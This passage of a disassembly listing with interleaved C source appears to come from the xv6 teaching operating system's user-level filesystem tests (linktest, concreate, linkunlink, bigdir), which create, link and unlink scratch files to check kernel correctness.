$0x4baf 1723: e8 e3 27 00 00 call 3f0b <open> 1728: 83 c4 10 add $0x10,%esp 172b: 89 45 f4 mov %eax,-0xc(%ebp) if(fd < 0){ 172e: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 1732: 79 17 jns 174b <linktest+0x6d> printf(1, "create lf1 failed\n"); 1734: 83 ec 08 sub $0x8,%esp 1737: 68 b7 4b 00 00 push $0x4bb7 173c: 6a 01 push $0x1 173e: e8 fb 28 00 00 call 403e <printf> 1743: 83 c4 10 add $0x10,%esp exit(); 1746: e8 80 27 00 00 call 3ecb <exit> } if(write(fd, "hello", 5) != 5){ 174b: 83 ec 04 sub $0x4,%esp 174e: 6a 05 push $0x5 1750: 68 13 4b 00 00 push $0x4b13 1755: ff 75 f4 pushl -0xc(%ebp) 1758: e8 8e 27 00 00 call 3eeb <write> 175d: 83 c4 10 add $0x10,%esp 1760: 83 f8 05 cmp $0x5,%eax 1763: 74 17 je 177c <linktest+0x9e> printf(1, "write lf1 failed\n"); 1765: 83 ec 08 sub $0x8,%esp 1768: 68 ca 4b 00 00 push $0x4bca 176d: 6a 01 push $0x1 176f: e8 ca 28 00 00 call 403e <printf> 1774: 83 c4 10 add $0x10,%esp exit(); 1777: e8 4f 27 00 00 call 3ecb <exit> } close(fd); 177c: 83 ec 0c sub $0xc,%esp 177f: ff 75 f4 pushl -0xc(%ebp) 1782: e8 6c 27 00 00 call 3ef3 <close> 1787: 83 c4 10 add $0x10,%esp if(link("lf1", "lf2") < 0){ 178a: 83 ec 08 sub $0x8,%esp 178d: 68 b3 4b 00 00 push $0x4bb3 1792: 68 af 4b 00 00 push $0x4baf 1797: e8 8f 27 00 00 call 3f2b <link> 179c: 83 c4 10 add $0x10,%esp 179f: 85 c0 test %eax,%eax 17a1: 79 17 jns 17ba <linktest+0xdc> printf(1, "link lf1 lf2 failed\n"); 17a3: 83 ec 08 sub $0x8,%esp 17a6: 68 dc 4b 00 00 push $0x4bdc 17ab: 6a 01 push $0x1 17ad: e8 8c 28 00 00 call 403e <printf> 17b2: 83 c4 10 add $0x10,%esp exit(); 17b5: e8 11 27 00 00 call 3ecb <exit> } unlink("lf1"); 17ba: 83 ec 0c sub $0xc,%esp 17bd: 68 af 4b 00 00 push $0x4baf 17c2: e8 54 27 00 00 call 3f1b <unlink> 17c7: 83 c4 10 add $0x10,%esp if(open("lf1", 0) >= 0){ 17ca: 83 ec 08 sub $0x8,%esp 17cd: 6a 00 push $0x0 17cf: 68 af 4b 00 00 push $0x4baf 17d4: e8 32 27 00 00 call 3f0b <open> 17d9: 83 c4 10 add $0x10,%esp 17dc: 85 c0 test %eax,%eax 17de: 78 17 js 17f7 <linktest+0x119> printf(1, "unlinked lf1 but it is still there!\n"); 17e0: 83 ec 08 sub $0x8,%esp 17e3: 68 f4 4b 00 00 push $0x4bf4 17e8: 6a 01 push $0x1 17ea: e8 4f 28 00 00 call 403e <printf> 17ef: 83 c4 10 add $0x10,%esp exit(); 17f2: e8 d4 26 00 00 call 3ecb <exit> } fd = open("lf2", 0); 17f7: 83 ec 08 sub $0x8,%esp 17fa: 6a 00 push $0x0 17fc: 68 b3 4b 00 00 push $0x4bb3 1801: e8 05 27 00 00 call 3f0b <open> 1806: 83 c4 10 add $0x10,%esp 1809: 89 45 f4 mov %eax,-0xc(%ebp) if(fd < 0){ 180c: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 1810: 79 17 jns 1829 <linktest+0x14b> printf(1, "open lf2 failed\n"); 1812: 83 ec 08 sub $0x8,%esp 1815: 68 19 4c 00 00 push $0x4c19 181a: 6a 01 push $0x1 181c: e8 1d 28 00 00 call 403e <printf> 1821: 83 c4 10 add $0x10,%esp exit(); 1824: e8 a2 26 00 00 call 3ecb <exit> } if(read(fd, buf, sizeof(buf)) != 5){ 1829: 83 ec 04 sub $0x4,%esp 182c: 68 00 20 00 00 push $0x2000 1831: 68 a0 8a 00 00 push $0x8aa0 1836: ff 75 f4 pushl -0xc(%ebp) 1839: e8 a5 26 00 00 call 3ee3 <read> 183e: 83 c4 10 add $0x10,%esp 1841: 83 f8 05 cmp $0x5,%eax 1844: 74 17 je 185d <linktest+0x17f> printf(1, "read lf2 failed\n"); 1846: 83 ec 08 sub $0x8,%esp 1849: 68 2a 4c 00 00 push $0x4c2a 184e: 6a 01 push $0x1 1850: e8 e9 27 00 00 call 403e <printf> 1855: 83 c4 10 add $0x10,%esp exit(); 1858: e8 6e 26 00 00 call 3ecb <exit> } close(fd); 185d: 83 ec 0c sub $0xc,%esp 1860: ff 75 f4 pushl -0xc(%ebp) 1863: e8 8b 26 00 00 call 3ef3 <close> 1868: 83 c4 10 add $0x10,%esp if(link("lf2", "lf2") >= 0){ 186b: 83 ec 08 sub $0x8,%esp 186e: 68 b3 4b 00 00 push $0x4bb3 1873: 68 b3 4b 00 00 push $0x4bb3 1878: e8 ae 26 00 00 call 3f2b <link> 187d: 83 c4 10 add $0x10,%esp 1880: 85 c0 test %eax,%eax 1882: 78 17 js 189b <linktest+0x1bd> printf(1, "link lf2 lf2 succeeded! oops\n"); 1884: 83 ec 08 sub $0x8,%esp 1887: 68 3b 4c 00 00 push $0x4c3b 188c: 6a 01 push $0x1 188e: e8 ab 27 00 00 call 403e <printf> 1893: 83 c4 10 add $0x10,%esp exit(); 1896: e8 30 26 00 00 call 3ecb <exit> } unlink("lf2"); 189b: 83 ec 0c sub $0xc,%esp 189e: 68 b3 4b 00 00 push $0x4bb3 18a3: e8 73 26 00 00 call 3f1b <unlink> 18a8: 83 c4 10 add $0x10,%esp if(link("lf2", "lf1") >= 0){ 18ab: 83 ec 08 sub $0x8,%esp 18ae: 68 af 4b 00 00 push $0x4baf 18b3: 68 b3 4b 00 00 push $0x4bb3 18b8: e8 6e 26 00 00 call 3f2b <link> 18bd: 83 c4 10 add $0x10,%esp 18c0: 85 c0 test %eax,%eax 18c2: 78 17 js 18db <linktest+0x1fd> printf(1, "link non-existant succeeded! oops\n"); 18c4: 83 ec 08 sub $0x8,%esp 18c7: 68 5c 4c 00 00 push $0x4c5c 18cc: 6a 01 push $0x1 18ce: e8 6b 27 00 00 call 403e <printf> 18d3: 83 c4 10 add $0x10,%esp exit(); 18d6: e8 f0 25 00 00 call 3ecb <exit> } if(link(".", "lf1") >= 0){ 18db: 83 ec 08 sub $0x8,%esp 18de: 68 af 4b 00 00 push $0x4baf 18e3: 68 7f 4c 00 00 push $0x4c7f 18e8: e8 3e 26 00 00 call 3f2b <link> 18ed: 83 c4 10 add $0x10,%esp 18f0: 85 c0 test %eax,%eax 18f2: 78 17 js 190b <linktest+0x22d> printf(1, "link . lf1 succeeded! oops\n"); 18f4: 83 ec 08 sub $0x8,%esp 18f7: 68 81 4c 00 00 push $0x4c81 18fc: 6a 01 push $0x1 18fe: e8 3b 27 00 00 call 403e <printf> 1903: 83 c4 10 add $0x10,%esp exit(); 1906: e8 c0 25 00 00 call 3ecb <exit> } printf(1, "linktest ok\n"); 190b: 83 ec 08 sub $0x8,%esp 190e: 68 9d 4c 00 00 push $0x4c9d 1913: 6a 01 push $0x1 1915: e8 24 27 00 00 call 403e <printf> 191a: 83 c4 10 add $0x10,%esp } 191d: 90 nop 191e: c9 leave 191f: c3 ret 00001920 <concreate>: // test concurrent create/link/unlink of the same file void concreate(void) { 1920: 55 push %ebp 1921: 89 e5 mov %esp,%ebp 1923: 83 ec 58 sub $0x58,%esp struct { ushort inum; char name[14]; } de; printf(1, "concreate test\n"); 1926: 83 ec 08 sub $0x8,%esp 1929: 68 aa 4c 00 00 push $0x4caa 192e: 6a 01 push $0x1 1930: e8 09 27 00 00 call 403e <printf> 1935: 83 c4 10 add $0x10,%esp file[0] = 'C'; 1938: c6 45 e5 43 movb $0x43,-0x1b(%ebp) file[2] = '\0'; 193c: c6 45 e7 00 movb $0x0,-0x19(%ebp) for(i = 0; i < 40; i++){ 1940: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) 1947: e9 fc 00 00 00 jmp 1a48 <concreate+0x128> file[1] = '0' + i; 194c: 8b 45 f4 mov -0xc(%ebp),%eax 194f: 83 c0 30 add $0x30,%eax 1952: 88 45 e6 mov %al,-0x1a(%ebp) unlink(file); 1955: 83 ec 0c sub $0xc,%esp 1958: 8d 45 e5 lea -0x1b(%ebp),%eax 195b: 50 push %eax 195c: e8 ba 25 00 00 call 3f1b <unlink> 1961: 83 c4 10 add $0x10,%esp pid = fork(); 1964: e8 5a 25 00 00 call 3ec3 <fork> 1969: 89 45 ec mov %eax,-0x14(%ebp) if(pid && (i % 3) == 1){ 196c: 83 7d ec 00 cmpl $0x0,-0x14(%ebp) 1970: 74 3b je 19ad <concreate+0x8d> 1972: 8b 4d f4 mov -0xc(%ebp),%ecx 1975: ba 56 55 55 55 mov $0x55555556,%edx 197a: 89 c8 mov %ecx,%eax 197c: f7 ea imul %edx 197e: 89 c8 mov %ecx,%eax 1980: c1 f8 1f sar $0x1f,%eax 1983: 29 c2 sub %eax,%edx 1985: 89 d0 mov %edx,%eax 1987: 01 c0 add %eax,%eax 1989: 01 d0 add %edx,%eax 198b: 29 c1 sub %eax,%ecx 198d: 89 ca mov %ecx,%edx 198f: 83 fa 01 cmp $0x1,%edx 1992: 75 19 jne 19ad <concreate+0x8d> link("C0", file); 1994: 83 ec 08 sub $0x8,%esp 1997: 8d 45 e5 lea -0x1b(%ebp),%eax 199a: 50 push %eax 199b: 68 ba 4c 00 00 push $0x4cba 19a0: e8 86 25 00 00 call 3f2b <link> 19a5: 83 c4 10 add $0x10,%esp 19a8: e9 87 00 00 00 jmp 1a34 <concreate+0x114> } else if(pid == 0 && (i % 5) == 1){ 19ad: 83 7d ec 00 cmpl $0x0,-0x14(%ebp) 19b1: 75 3b jne 19ee <concreate+0xce> 19b3: 8b 4d f4 mov -0xc(%ebp),%ecx 19b6: ba 67 66 66 66 mov $0x66666667,%edx 19bb: 89 c8 mov %ecx,%eax 19bd: f7 ea imul %edx 19bf: d1 fa sar %edx 19c1: 89 c8 mov %ecx,%eax 19c3: c1 f8 1f sar $0x1f,%eax 19c6: 29 c2 sub %eax,%edx 19c8: 89 d0 mov %edx,%eax 19ca: c1 e0 02 shl $0x2,%eax 19cd: 01 d0 add %edx,%eax 19cf: 29 c1 sub %eax,%ecx 19d1: 89 ca mov %ecx,%edx 19d3: 83 fa 01 cmp $0x1,%edx 19d6: 75 16 jne 19ee <concreate+0xce> link("C0", file); 19d8: 83 ec 08 sub $0x8,%esp 19db: 8d 45 e5 lea -0x1b(%ebp),%eax 19de: 50 push %eax 19df: 68 ba 4c 00 00 push $0x4cba 19e4: e8 42 25 00 00 call 3f2b <link> 19e9: 83 c4 10 add $0x10,%esp 19ec: eb 46 jmp 1a34 <concreate+0x114> } else { fd = open(file, O_CREATE | O_RDWR); 19ee: 83 ec 08 sub $0x8,%esp 19f1: 68 02 02 00 00 push $0x202 19f6: 8d 45 e5 lea -0x1b(%ebp),%eax 19f9: 50 push %eax 19fa: e8 0c 25 00 00 call 3f0b <open> 19ff: 83 c4 10 add $0x10,%esp 1a02: 89 45 e8 mov %eax,-0x18(%ebp) if(fd < 0){ 1a05: 83 7d e8 00 cmpl $0x0,-0x18(%ebp) 1a09: 79 1b jns 1a26 <concreate+0x106> printf(1, "concreate create %s failed\n", file); 1a0b: 83 ec 04 sub $0x4,%esp 1a0e: 8d 45 e5 lea -0x1b(%ebp),%eax 1a11: 50 push %eax 1a12: 68 bd 4c 00 00 push $0x4cbd 1a17: 6a 01 push $0x1 1a19: e8 20 26 00 00 call 403e <printf> 1a1e: 83 c4 10 add $0x10,%esp exit(); 1a21: e8 a5 24 00 00 call 3ecb <exit> } close(fd); 1a26: 83 ec 0c sub $0xc,%esp 1a29: ff 75 e8 pushl -0x18(%ebp) 1a2c: e8 c2 24 00 00 call 3ef3 <close> 1a31: 83 c4 10 add $0x10,%esp } if(pid == 0) 1a34: 83 7d ec 00 cmpl $0x0,-0x14(%ebp) 1a38: 75 05 jne 1a3f <concreate+0x11f> exit(); 1a3a: e8 8c 24 00 00 call 3ecb <exit> else wait(); 1a3f: e8 8f 24 00 00 call 3ed3 <wait> for(i = 0; i < 40; i++){ 1a44: 83 45 f4 01 addl $0x1,-0xc(%ebp) 1a48: 83 7d f4 27 cmpl $0x27,-0xc(%ebp) 1a4c: 0f 8e fa fe ff ff jle 194c <concreate+0x2c> } memset(fa, 0, sizeof(fa)); 1a52: 83 ec 04 sub $0x4,%esp 1a55: 6a 28 push $0x28 1a57: 6a 00 push $0x0 1a59: 8d 45 bd lea -0x43(%ebp),%eax 1a5c: 50 push %eax 1a5d: e8 ce 22 00 00 call 3d30 <memset> 1a62: 83 c4 10 add $0x10,%esp fd = open(".", 0); 1a65: 83 ec 08 sub $0x8,%esp 1a68: 6a 00 push $0x0 1a6a: 68 7f 4c 00 00 push $0x4c7f 1a6f: e8 97 24 00 00 call 3f0b <open> 1a74: 83 c4 10 add $0x10,%esp 1a77: 89 45 e8 mov %eax,-0x18(%ebp) n = 0; 1a7a: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp) while(read(fd, &de, sizeof(de)) > 0){ 1a81: e9 93 00 00 00 jmp 1b19 <concreate+0x1f9> if(de.inum == 0) 1a86: 0f b7 45 ac movzwl -0x54(%ebp),%eax 1a8a: 66 85 c0 test %ax,%ax 1a8d: 75 05 jne 1a94 <concreate+0x174> continue; 1a8f: e9 85 00 00 00 jmp 1b19 <concreate+0x1f9> if(de.name[0] == 'C' && de.name[2] == '\0'){ 1a94: 0f b6 45 ae movzbl -0x52(%ebp),%eax 1a98: 3c 43 cmp $0x43,%al 1a9a: 75 7d jne 1b19 <concreate+0x1f9> 1a9c: 0f b6 45 b0 movzbl -0x50(%ebp),%eax 1aa0: 84 c0 test %al,%al 1aa2: 75 75 jne 1b19 <concreate+0x1f9> i = de.name[1] - '0'; 1aa4: 0f b6 45 af movzbl -0x51(%ebp),%eax 1aa8: 0f be c0 movsbl %al,%eax 1aab: 83 e8 30 sub $0x30,%eax 1aae: 89 45 f4 mov %eax,-0xc(%ebp) if(i < 0 || i >= sizeof(fa)){ 1ab1: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 1ab5: 78 08 js 1abf <concreate+0x19f> 1ab7: 8b 45 f4 mov -0xc(%ebp),%eax 1aba: 83 f8 27 cmp $0x27,%eax 1abd: 76 1e jbe 1add <concreate+0x1bd> printf(1, "concreate weird file %s\n", de.name); 1abf: 83 ec 04 sub $0x4,%esp 1ac2: 8d 45 ac lea -0x54(%ebp),%eax 1ac5: 83 c0 02 add $0x2,%eax 1ac8: 50 push %eax 1ac9: 68 d9 4c 00 00 push $0x4cd9 1ace: 6a 01 push $0x1 1ad0: e8 69 25 00 00 call 403e <printf> 1ad5: 83 c4 10 add $0x10,%esp exit(); 1ad8: e8 ee 23 00 00 call 3ecb <exit> } if(fa[i]){ 1add: 8d 55 bd lea -0x43(%ebp),%edx 1ae0: 8b 45 f4 mov -0xc(%ebp),%eax 1ae3: 01 d0 add %edx,%eax 1ae5: 0f b6 00 movzbl (%eax),%eax 1ae8: 84 c0 test %al,%al 1aea: 74 1e je 1b0a <concreate+0x1ea> printf(1, "concreate duplicate file %s\n", de.name); 1aec: 83 ec 04 sub $0x4,%esp 1aef: 8d 45 ac lea -0x54(%ebp),%eax 1af2: 83 c0 02 add $0x2,%eax 1af5: 50 push %eax 1af6: 68 f2 4c 00 00 push $0x4cf2 1afb: 6a 01 push $0x1 1afd: e8 3c 25 00 00 call 403e <printf> 1b02: 83 c4 10 add $0x10,%esp exit(); 1b05: e8 c1 23 00 00 call 3ecb <exit> } fa[i] = 1; 1b0a: 8d 55 bd lea -0x43(%ebp),%edx 1b0d: 8b 45 f4 mov -0xc(%ebp),%eax 1b10: 01 d0 add %edx,%eax 1b12: c6 00 01 movb $0x1,(%eax) n++; 1b15: 83 45 f0 01 addl $0x1,-0x10(%ebp) while(read(fd, &de, sizeof(de)) > 0){ 1b19: 83 ec 04 sub $0x4,%esp 1b1c: 6a 10 push $0x10 1b1e: 8d 45 ac lea -0x54(%ebp),%eax 1b21: 50 push %eax 1b22: ff 75 e8 pushl -0x18(%ebp) 1b25: e8 b9 23 00 00 call 3ee3 <read> 1b2a: 83 c4 10 add $0x10,%esp 1b2d: 85 c0 test %eax,%eax 1b2f: 0f 8f 51 ff ff ff jg 1a86 <concreate+0x166> } } close(fd); 1b35: 83 ec 0c sub $0xc,%esp 1b38: ff 75 e8 pushl -0x18(%ebp) 1b3b: e8 b3 23 00 00 call 3ef3 <close> 1b40: 83 c4 10 add $0x10,%esp if(n != 40){ 1b43: 83 7d f0 28 cmpl $0x28,-0x10(%ebp) 1b47: 74 17 je 1b60 <concreate+0x240> printf(1, "concreate not enough files in directory listing\n"); 1b49: 83 ec 08 sub $0x8,%esp 1b4c: 68 10 4d 00 00 push $0x4d10 1b51: 6a 01 push $0x1 1b53: e8 e6 24 00 00 call 403e <printf> 1b58: 83 c4 10 add $0x10,%esp exit(); 1b5b: e8 6b 23 00 00 call 3ecb <exit> } for(i = 0; i < 40; i++){ 1b60: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) 1b67: e9 45 01 00 00 jmp 1cb1 <concreate+0x391> file[1] = '0' + i; 1b6c: 8b 45 f4 mov -0xc(%ebp),%eax 1b6f: 83 c0 30 add $0x30,%eax 1b72: 88 45 e6 mov %al,-0x1a(%ebp) pid = fork(); 1b75: e8 49 23 00 00 call 3ec3 <fork> 1b7a: 89 45 ec mov %eax,-0x14(%ebp) if(pid < 0){ 1b7d: 83 7d ec 00 cmpl $0x0,-0x14(%ebp) 1b81: 79 17 jns 1b9a <concreate+0x27a> printf(1, "fork failed\n"); 1b83: 83 ec 08 sub $0x8,%esp 1b86: 68 95 44 00 00 push $0x4495 1b8b: 6a 01 push $0x1 1b8d: e8 ac 24 00 00 call 403e <printf> 1b92: 83 c4 10 add $0x10,%esp exit(); 1b95: e8 31 23 00 00 call 3ecb <exit> } if(((i % 3) == 0 && pid == 0) || 1b9a: 8b 4d f4 mov -0xc(%ebp),%ecx 1b9d: ba 56 55 55 55 mov $0x55555556,%edx 1ba2: 89 c8 mov %ecx,%eax 1ba4: f7 ea imul %edx 1ba6: 89 c8 mov %ecx,%eax 1ba8: c1 f8 1f sar $0x1f,%eax 1bab: 29 c2 sub %eax,%edx 1bad: 89 d0 mov %edx,%eax 1baf: 89 c2 mov %eax,%edx 1bb1: 01 d2 add %edx,%edx 1bb3: 01 c2 add %eax,%edx 1bb5: 89 c8 mov %ecx,%eax 1bb7: 29 d0 sub %edx,%eax 1bb9: 85 c0 test %eax,%eax 1bbb: 75 06 jne 1bc3 <concreate+0x2a3> 1bbd: 83 7d ec 00 cmpl $0x0,-0x14(%ebp) 1bc1: 74 28 je 1beb <concreate+0x2cb> ((i % 3) == 1 && pid != 0)){ 1bc3: 8b 4d f4 mov -0xc(%ebp),%ecx 1bc6: ba 56 55 55 55 mov $0x55555556,%edx 1bcb: 89 c8 mov %ecx,%eax 1bcd: f7 ea imul %edx 1bcf: 89 c8 mov %ecx,%eax 1bd1: c1 f8 1f sar $0x1f,%eax 1bd4: 29 c2 sub %eax,%edx 1bd6: 89 d0 mov %edx,%eax 1bd8: 01 c0 add %eax,%eax 1bda: 01 d0 add %edx,%eax 1bdc: 29 c1 sub %eax,%ecx 1bde: 89 ca mov %ecx,%edx if(((i % 3) == 0 && pid == 0) || 1be0: 83 fa 01 cmp $0x1,%edx 1be3: 75 7c jne 1c61 <concreate+0x341> ((i % 3) == 1 && pid != 0)){ 1be5: 83 7d ec 00 cmpl $0x0,-0x14(%ebp) 1be9: 74 76 je 1c61 <concreate+0x341> close(open(file, 0)); 1beb: 83 ec 08 sub $0x8,%esp 1bee: 6a 00 push $0x0 1bf0: 8d 45 e5 lea -0x1b(%ebp),%eax 1bf3: 50 push %eax 1bf4: e8 12 23 00 00 call 3f0b <open> 1bf9: 83 c4 10 add $0x10,%esp 1bfc: 83 ec 0c sub $0xc,%esp 1bff: 50 push %eax 1c00: e8 ee 22 00 00 call 3ef3 <close> 1c05: 83 c4 10 add $0x10,%esp close(open(file, 0)); 1c08: 83 ec 08 sub $0x8,%esp 1c0b: 6a 00 push $0x0 1c0d: 8d 45 e5 lea -0x1b(%ebp),%eax 1c10: 50 push %eax 1c11: e8 f5 22 00 00 call 3f0b <open> 1c16: 83 c4 10 add $0x10,%esp 1c19: 83 ec 0c sub $0xc,%esp 1c1c: 50 push %eax 1c1d: e8 d1 22 00 00 call 3ef3 <close> 1c22: 83 c4 10 add $0x10,%esp close(open(file, 0)); 1c25: 83 ec 08 sub $0x8,%esp 1c28: 6a 00 push $0x0 1c2a: 8d 45 e5 lea -0x1b(%ebp),%eax 1c2d: 50 push %eax 1c2e: e8 d8 22 00 00 call 3f0b <open> 1c33: 83 c4 10 add $0x10,%esp 1c36: 83 ec 0c sub $0xc,%esp 1c39: 50 push %eax 1c3a: e8 b4 22 00 00 call 3ef3 <close> 1c3f: 83 c4 10 add $0x10,%esp close(open(file, 0)); 1c42: 83 ec 08 sub $0x8,%esp 1c45: 6a 00 push $0x0 1c47: 8d 45 e5 lea -0x1b(%ebp),%eax 1c4a: 50 push %eax 1c4b: e8 bb 22 00 00 call 3f0b <open> 1c50: 83 c4 10 add $0x10,%esp 1c53: 83 ec 0c sub $0xc,%esp 1c56: 50 push %eax 1c57: e8 97 22 00 00 call 3ef3 <close> 1c5c: 83 c4 10 add $0x10,%esp 1c5f: eb 3c jmp 1c9d <concreate+0x37d> } else { unlink(file); 1c61: 83 ec 0c sub $0xc,%esp 1c64: 8d 45 e5 lea -0x1b(%ebp),%eax 1c67: 50 push %eax 1c68: e8 ae 22 00 00 call 3f1b <unlink> 1c6d: 83 c4 10 add $0x10,%esp unlink(file); 1c70: 83 ec 0c sub $0xc,%esp 1c73: 8d 45 e5 lea -0x1b(%ebp),%eax 1c76: 50 push %eax 1c77: e8 9f 22 00 00 call 3f1b <unlink> 1c7c: 83 c4 10 add $0x10,%esp unlink(file); 1c7f: 83 ec 0c sub $0xc,%esp 1c82: 8d 45 e5 lea -0x1b(%ebp),%eax 1c85: 50 push %eax 1c86: e8 90 22 00 00 call 3f1b <unlink> 1c8b: 83 c4 10 add $0x10,%esp unlink(file); 1c8e: 83 ec 0c sub $0xc,%esp 1c91: 8d 45 e5 lea -0x1b(%ebp),%eax 1c94: 50 push %eax 1c95: e8 81 22 00 00 call 3f1b <unlink> 1c9a: 83 c4 10 add $0x10,%esp } if(pid == 0) 1c9d: 83 7d ec 00 cmpl $0x0,-0x14(%ebp) 1ca1: 75 05 jne 1ca8 <concreate+0x388> exit(); 1ca3: e8 23 22 00 00 call 3ecb <exit> else wait(); 1ca8: e8 26 22 00 00 call 3ed3 <wait> for(i = 0; i < 40; i++){ 1cad: 83 45 f4 01 addl $0x1,-0xc(%ebp) 1cb1: 83 7d f4 27 cmpl $0x27,-0xc(%ebp) 1cb5: 0f 8e b1 fe ff ff jle 1b6c <concreate+0x24c> } printf(1, "concreate ok\n"); 1cbb: 83 ec 08 sub $0x8,%esp 1cbe: 68 41 4d 00 00 push $0x4d41 1cc3: 6a 01 push $0x1 1cc5: e8 74 23 00 00 call 403e <printf> 1cca: 83 c4 10 add $0x10,%esp } 1ccd: 90 nop 1cce: c9 leave 1ccf: c3 ret 00001cd0 <linkunlink>: // another concurrent link/unlink/create test, // to look for deadlocks. void linkunlink() { 1cd0: 55 push %ebp 1cd1: 89 e5 mov %esp,%ebp 1cd3: 83 ec 18 sub $0x18,%esp int pid, i; printf(1, "linkunlink test\n"); 1cd6: 83 ec 08 sub $0x8,%esp 1cd9: 68 4f 4d 00 00 push $0x4d4f 1cde: 6a 01 push $0x1 1ce0: e8 59 23 00 00 call 403e <printf> 1ce5: 83 c4 10 add $0x10,%esp unlink("x"); 1ce8: 83 ec 0c sub $0xc,%esp 1ceb: 68 cb 48 00 00 push $0x48cb 1cf0: e8 26 22 00 00 call 3f1b <unlink> 1cf5: 83 c4 10 add $0x10,%esp pid = fork(); 1cf8: e8 c6 21 00 00 call 3ec3 <fork> 1cfd: 89 45 ec mov %eax,-0x14(%ebp) if(pid < 0){ 1d00: 83 7d ec 00 cmpl $0x0,-0x14(%ebp) 1d04: 79 17 jns 1d1d <linkunlink+0x4d> printf(1, "fork failed\n"); 1d06: 83 ec 08 sub $0x8,%esp 1d09: 68 95 44 00 00 push $0x4495 1d0e: 6a 01 push $0x1 1d10: e8 29 23 00 00 call 403e <printf> 1d15: 83 c4 10 add $0x10,%esp exit(); 1d18: e8 ae 21 00 00 call 3ecb <exit> } unsigned int x = (pid ? 1 : 97); 1d1d: 83 7d ec 00 cmpl $0x0,-0x14(%ebp) 1d21: 74 07 je 1d2a <linkunlink+0x5a> 1d23: b8 01 00 00 00 mov $0x1,%eax 1d28: eb 05 jmp 1d2f <linkunlink+0x5f> 1d2a: b8 61 00 00 00 mov $0x61,%eax 1d2f: 89 45 f0 mov %eax,-0x10(%ebp) for(i = 0; i < 100; i++){ 1d32: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) 1d39: e9 9a 00 00 00 jmp 1dd8 <linkunlink+0x108> x = x * 1103515245 + 12345; 1d3e: 8b 45 f0 mov -0x10(%ebp),%eax 1d41: 69 c0 6d 4e c6 41 imul $0x41c64e6d,%eax,%eax 1d47: 05 39 30 00 00 add $0x3039,%eax 1d4c: 89 45 f0 mov %eax,-0x10(%ebp) if((x % 3) == 0){ 1d4f: 8b 4d f0 mov -0x10(%ebp),%ecx 1d52: ba ab aa aa aa mov $0xaaaaaaab,%edx 1d57: 89 c8 mov %ecx,%eax 1d59: f7 e2 mul %edx 1d5b: 89 d0 mov %edx,%eax 1d5d: d1 e8 shr %eax 1d5f: 89 c2 mov %eax,%edx 1d61: 01 d2 add %edx,%edx 1d63: 01 c2 add %eax,%edx 1d65: 89 c8 mov %ecx,%eax 1d67: 29 d0 sub %edx,%eax 1d69: 85 c0 test %eax,%eax 1d6b: 75 23 jne 1d90 <linkunlink+0xc0> close(open("x", O_RDWR | O_CREATE)); 1d6d: 83 ec 08 sub $0x8,%esp 1d70: 68 02 02 00 00 push $0x202 1d75: 68 cb 48 00 00 push $0x48cb 1d7a: e8 8c 21 00 00 call 3f0b <open> 1d7f: 83 c4 10 add $0x10,%esp 1d82: 83 ec 0c sub $0xc,%esp 1d85: 50 push %eax 1d86: e8 68 21 00 00 call 3ef3 <close> 1d8b: 83 c4 10 add $0x10,%esp 1d8e: eb 44 jmp 1dd4 <linkunlink+0x104> } else if((x % 3) == 1){ 1d90: 8b 4d f0 mov -0x10(%ebp),%ecx 1d93: ba ab aa aa aa mov $0xaaaaaaab,%edx 1d98: 89 c8 mov %ecx,%eax 1d9a: f7 e2 mul %edx 1d9c: d1 ea shr %edx 1d9e: 89 d0 mov %edx,%eax 1da0: 01 c0 add %eax,%eax 1da2: 01 d0 add %edx,%eax 1da4: 29 c1 sub %eax,%ecx 1da6: 89 ca mov %ecx,%edx 1da8: 83 fa 01 cmp $0x1,%edx 1dab: 75 17 jne 1dc4 <linkunlink+0xf4> link("cat", "x"); 1dad: 83 ec 08 sub $0x8,%esp 1db0: 68 cb 48 00 00 push $0x48cb 1db5: 68 60 4d 00 00 push $0x4d60 1dba: e8 6c 21 00 00 call 3f2b <link> 1dbf: 83 c4 10 add $0x10,%esp 1dc2: eb 10 jmp 1dd4 <linkunlink+0x104> } else { unlink("x"); 1dc4: 83 ec 0c sub $0xc,%esp 1dc7: 68 cb 48 00 00 push $0x48cb 1dcc: e8 4a 21 00 00 call 3f1b <unlink> 1dd1: 83 c4 10 add $0x10,%esp for(i = 0; i < 100; i++){ 1dd4: 83 45 f4 01 addl $0x1,-0xc(%ebp) 1dd8: 83 7d f4 63 cmpl $0x63,-0xc(%ebp) 1ddc: 0f 8e 5c ff ff ff jle 1d3e <linkunlink+0x6e> } } if(pid) 1de2: 83 7d ec 00 cmpl $0x0,-0x14(%ebp) 1de6: 74 07 je 1def <linkunlink+0x11f> wait(); 1de8: e8 e6 20 00 00 call 3ed3 <wait> 1ded: eb 05 jmp 1df4 <linkunlink+0x124> else exit(); 1def: e8 d7 20 00 00 call 3ecb <exit> printf(1, "linkunlink ok\n"); 1df4: 83 ec 08 sub $0x8,%esp 1df7: 68 64 4d 00 00 push $0x4d64 1dfc: 6a 01 push $0x1 1dfe: e8 3b 22 00 00 call 403e <printf> 1e03: 83 c4 10 add $0x10,%esp } 1e06: 90 nop 1e07: c9 leave 1e08: c3 ret 00001e09 <bigdir>: // directory that uses indirect blocks void bigdir(void) { 1e09: 55 push %ebp 1e0a: 89 e5 mov %esp,%ebp 1e0c: 83 ec 28 sub $0x28,%esp int i, fd; char name[10]; printf(1, "bigdir test\n"); 1e0f: 83 ec 08 sub $0x8,%esp 1e12: 68 73 4d 00 00 push $0x4d73 1e17: 6a 01 push $0x1 1e19: e8 20 22 00 00 call 403e <printf> 1e1e: 83 c4 10 add $0x10,%esp unlink("bd"); 1e21: 83 ec 0c sub $0xc,%esp 1e24: 68 80 4d 00 00 push $0x4d80 1e29: e8 ed 20 00 00 call 3f1b <unlink> 1e2e: 83 c4 10 add $0x10,%esp fd = open("bd", O_CREATE); 1e31: 83 ec 08 sub $0x8,%esp 1e34: 68 00 02 00 00 push $0x200 1e39: 68 80 4d 00 00 push $0x4d80 1e3e: e8 c8 20 00 00 call 3f0b <open> 1e43: 83 c4 10 add $0x10,%esp 1e46: 89 45 f0 mov %eax,-0x10(%ebp) if(fd < 0){ 1e49: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 1e4d: 79 17 jns 1e66 <bigdir+0x5d> printf(1, "bigdir create failed\n"); 